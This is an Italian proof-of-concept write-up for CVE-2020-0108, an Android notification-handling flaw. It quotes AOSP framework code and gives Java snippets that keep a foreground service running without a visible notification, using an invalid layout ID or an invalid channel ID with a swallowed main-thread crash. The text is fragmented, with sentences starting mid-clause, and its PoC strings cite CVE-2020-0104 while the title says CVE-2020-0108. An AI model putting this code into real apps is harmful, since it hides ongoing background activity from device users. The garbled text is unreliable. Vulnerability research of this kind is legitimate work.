
PoC di CVE-2020-0108
onNotificationError di NotificationManagerService, che non gestisce correttamente le eccezioni nella visualizzazione delle notifiche.// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
int id, int uid, int initialPid, String message, int userId) {
cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
REASON_ERROR, null);
}
onNotificationError. Poiché il metodo onNotificationError si limita a chiamare cancelNotification per annullare la notifica, senza terminare il servizio o l'intera applicazione, il servizio in primo piano continua a funzionare senza mostrare alcuna notifica.postNotification di ServiceRecord, che non gestisce correttamente le eccezioni nella visualizzazione delle notifiche, ma le lancia all'applicazione utente.// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
final int appUid = appInfo.uid;
final int appPid = app.pid;
if (foregroundId != 0 && foregroundNoti != null) {
//...
ams.mHandler.post(new Runnable() {
public void run() {
//...
try {
//...
} catch (RuntimeException e) {
Slog.w(TAG, "Error showing notification for service", e);
// If it gave us a garbage notification, it doesn't
// get to be foreground.
ams.setServiceForeground(instanceName, ServiceRecord.this,
0, null, 0, 0);
ams.crashApplication(appUid, appPid, localPackageName, -1,
"Bad notification for startForeground: " + e);
}
}
});
}
}
postNotification di ServiceRecord, viene lanciata un'eccezione. Durante la gestione dell'eccezione, si chiama il metodo crashApplication di AMS per lanciare un'eccezione sul thread principale all'applicazione, ma se l'applicazione cattura l'eccezione sul thread principale, l'applicazione non va in crash e il servizio in primo piano continua a funzionare senza mostrare la notifica.NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
// Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
.setContentTitle("Testing CVE-2020-0104")
.setContentText("If you see this means you device is not vulnerable")
.setCustomBigContentView(remoteViews)
.setWhen(System.currentTimeMillis())
.setSmallIcon(R.drawable.ic_launcher_foreground)
.setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
.build();
startForeground(1, notification);
onNotificationError.// Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
@Override
public void run() {
while (true) {
try {
Looper.loop();
} catch (Throwable e) {
e.printStackTrace();
}
}
}
});
// Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
.setContentTitle("Testing CVE-2020-0104")
.setContentText("If you see this means you device is not vulnerable")
.setWhen(System.currentTimeMillis())
.setSmallIcon(R.drawable.ic_launcher_foreground)
.setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
.build();
startForeground(2, notification);
postNotification. Successivamente, catturiamo l'eccezione sul thread principale, quindi l'applicazione non va in crash.